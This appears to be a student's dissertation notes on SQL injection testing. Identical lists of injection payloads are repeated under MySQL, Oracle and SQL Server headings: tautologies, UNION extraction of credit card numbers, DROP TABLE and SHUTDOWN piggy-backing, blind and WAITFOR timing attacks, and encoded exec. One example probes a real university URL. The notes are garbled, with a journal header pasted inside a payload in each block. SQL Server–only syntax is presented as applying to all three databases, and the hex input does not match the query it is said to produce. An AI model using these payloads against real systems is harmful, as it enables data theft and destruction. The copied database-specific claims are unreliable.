**7ET023 Dissertation Database SQLIA testing**

MySQL database SQLIA testing:-

* **Tautologies**: "SELECT \* FROM employee WHERE userid = '112' and password ='aaa' OR '1'='1'"
* **llegal/Logically Incorrect Queries:** 1) Original URL: http://www.arch.polimi.it/eventi/?id\_nav=8864 2) SQL Injection: http://www.arch.polimi.it/eventi/?id\_nav=8864' 3) Error message showed: SELECT name FROM Employee WHERE id =8864\'
* **Union Query:** : SELECT Name, Phone FROM Users WHERE Id=$id By injecting the following Id value: $id=1 UNION ALL SELECT creditCardNumber,1 FROM CreditCarTable We will have the following query: SELECT Name, Phone FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1 FROM CreditCarTable
* **Piggy-backed Queries:** " 0; drop table user " into the pin input field instead of logical value. Then the application would produce the query: SELECT info FROM users WHERE login='doe' AND pin=0; drop table users Because of ";" character
* **Stored Procedure:** CREATE PROCEDURE DBO.isAuthenticated @userName varchar2, @pass varchar2, @pin int AS EXEC("SELECT accounts FROM users WHERE login=’" +@userName+ "’ and pass=’" +@password+ "’ and pin=" +@pin); GO For authorized/unauthorized user the stored procedure returns true/false. As an SQLIA, intruder input “ ’ ; IJCSI International Journal of Computer Science Issues, Vol. 9, Issue 2, No 3, March 2012 ISSN (Online): 1694-0814 www.IJCSI.org 334 Copyright (c) 2012 International Journal of Computer Science Issues. All Rights Reserved. SHUTDOWN; - -” for username or password. Then the stored procedure generates the following query: SELECT accounts FROM users WHERE login=’doe’ AND pass=’ ’; SHUTDOWN; -- AND pin= After that, this type of attack works as piggy-back attack.
* **Inference:** 
  + **Blind Injection:** : SELECT accounts FROM users WHERE login=’doe’ and 1=0 -- AND pass= AND pin=0 SELECT accounts FROM users WHERE login=’doe’ and 1=1 -- AND pass= AND pin=0 If the application is secured, both queries would be unsuccessful, because of input validation. But if there is no input validation, the attacker can try the chance. First the attacker submit the first query and receives an error message because of "1=0".
  + **Timing Attacks:** WAITFOR is a keyword along the branches, which causes the database to delay its response by a specified time. For example, in the following query: declare @s varchar(8000) select @s = db\_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5' Database will pause for five seconds if the first bit of the first byte of the name of the current database is 1.
* **Alternate Encodings:** For example attacker use char (44) instead of single quote that is a bad character. This technique with join to other attack techniques could be strong, because it can target different layers in the application so developers need to be familiar to all of them to provide an effective defensive coding to prevent the alternate encoding attacks. By this technique, different attacks could be hidden in alternate encodings successfully. In the following example the pin field is injected with this string: "0; exec (0x73587574 64 5f77 6e)," and the result query is: SELECT accounts FROM users WHERE login=" AND pin=0; exec (char(0x73687574646f776e))

Oracle database SQLIA testing:-

* **Tautologies**: "SELECT \* FROM employee WHERE userid = '112' and password ='aaa' OR '1'='1'"
* **llegal/Logically Incorrect Queries:** 1) Original URL: http://www.arch.polimi.it/eventi/?id\_nav=8864 2) SQL Injection: http://www.arch.polimi.it/eventi/?id\_nav=8864' 3) Error message showed: SELECT name FROM Employee WHERE id =8864\'
* **Union Query:** : SELECT Name, Phone FROM Users WHERE Id=$id By injecting the following Id value: $id=1 UNION ALL SELECT creditCardNumber,1 FROM CreditCarTable We will have the following query: SELECT Name, Phone FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1 FROM CreditCarTable
* **Piggy-backed Queries:** " 0; drop table user " into the pin input field instead of logical value. Then the application would produce the query: SELECT info FROM users WHERE login='doe' AND pin=0; drop table users Because of ";" character
* **Stored Procedure:** CREATE PROCEDURE DBO.isAuthenticated @userName varchar2, @pass varchar2, @pin int AS EXEC("SELECT accounts FROM users WHERE login=’" +@userName+ "’ and pass=’" +@password+ "’ and pin=" +@pin); GO For authorized/unauthorized user the stored procedure returns true/false. As an SQLIA, intruder input “ ’ ; IJCSI International Journal of Computer Science Issues, Vol. 9, Issue 2, No 3, March 2012 ISSN (Online): 1694-0814 www.IJCSI.org 334 Copyright (c) 2012 International Journal of Computer Science Issues. All Rights Reserved. SHUTDOWN; - -” for username or password. Then the stored procedure generates the following query: SELECT accounts FROM users WHERE login=’doe’ AND pass=’ ’; SHUTDOWN; -- AND pin= After that, this type of attack works as piggy-back attack.
* **Inference:** 
  + **Blind Injection:** : SELECT accounts FROM users WHERE login=’doe’ and 1=0 -- AND pass= AND pin=0 SELECT accounts FROM users WHERE login=’doe’ and 1=1 -- AND pass= AND pin=0 If the application is secured, both queries would be unsuccessful, because of input validation. But if there is no input validation, the attacker can try the chance. First the attacker submit the first query and receives an error message because of "1=0".
  + **Timing Attacks:** WAITFOR is a keyword along the branches, which causes the database to delay its response by a specified time. For example, in the following query: declare @s varchar(8000) select @s = db\_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5' Database will pause for five seconds if the first bit of the first byte of the name of the current database is 1.
* **Alternate Encodings:** For example attacker use char (44) instead of single quote that is a bad character. This technique with join to other attack techniques could be strong, because it can target different layers in the application so developers need to be familiar to all of them to provide an effective defensive coding to prevent the alternate encoding attacks. By this technique, different attacks could be hidden in alternate encodings successfully. In the following example the pin field is injected with this string: "0; exec (0x73587574 64 5f77 6e)," and the result query is: SELECT accounts FROM users WHERE login=" AND pin=0; exec (char(0x73687574646f776e))

Microsoft SQL Server database SQLIA testing:-

* **Tautologies**: "SELECT \* FROM employee WHERE userid = '112' and password ='aaa' OR '1'='1'"
* **llegal/Logically Incorrect Queries:** 1) Original URL: http://www.arch.polimi.it/eventi/?id\_nav=8864 2) SQL Injection: http://www.arch.polimi.it/eventi/?id\_nav=8864' 3) Error message showed: SELECT name FROM Employee WHERE id =8864\'
* **Union Query:** : SELECT Name, Phone FROM Users WHERE Id=$id By injecting the following Id value: $id=1 UNION ALL SELECT creditCardNumber,1 FROM CreditCarTable We will have the following query: SELECT Name, Phone FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1 FROM CreditCarTable
* **Piggy-backed Queries:** " 0; drop table user " into the pin input field instead of logical value. Then the application would produce the query: SELECT info FROM users WHERE login='doe' AND pin=0; drop table users Because of ";" character
* **Stored Procedure:** CREATE PROCEDURE DBO.isAuthenticated @userName varchar2, @pass varchar2, @pin int AS EXEC("SELECT accounts FROM users WHERE login=’" +@userName+ "’ and pass=’" +@password+ "’ and pin=" +@pin); GO For authorized/unauthorized user the stored procedure returns true/false. As an SQLIA, intruder input “ ’ ; IJCSI International Journal of Computer Science Issues, Vol. 9, Issue 2, No 3, March 2012 ISSN (Online): 1694-0814 www.IJCSI.org 334 Copyright (c) 2012 International Journal of Computer Science Issues. All Rights Reserved. SHUTDOWN; - -” for username or password. Then the stored procedure generates the following query: SELECT accounts FROM users WHERE login=’doe’ AND pass=’ ’; SHUTDOWN; -- AND pin= After that, this type of attack works as piggy-back attack.
* **Inference:** 
  + **Blind Injection:** : SELECT accounts FROM users WHERE login=’doe’ and 1=0 -- AND pass= AND pin=0 SELECT accounts FROM users WHERE login=’doe’ and 1=1 -- AND pass= AND pin=0 If the application is secured, both queries would be unsuccessful, because of input validation. But if there is no input validation, the attacker can try the chance. First the attacker submit the first query and receives an error message because of "1=0".
  + **Timing Attacks:** WAITFOR is a keyword along the branches, which causes the database to delay its response by a specified time. For example, in the following query: declare @s varchar(8000) select @s = db\_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5' Database will pause for five seconds if the first bit of the first byte of the name of the current database is 1.
* **Alternate Encodings:** For example attacker use char (44) instead of single quote that is a bad character. This technique with join to other attack techniques could be strong, because it can target different layers in the application so developers need to be familiar to all of them to provide an effective defensive coding to prevent the alternate encoding attacks. By this technique, different attacks could be hidden in alternate encodings successfully. In the following example the pin field is injected with this string: "0; exec (0x73587574 64 5f77 6e)," and the result query is: SELECT accounts FROM users WHERE login=" AND pin=0; exec (char(0x73687574646f776e))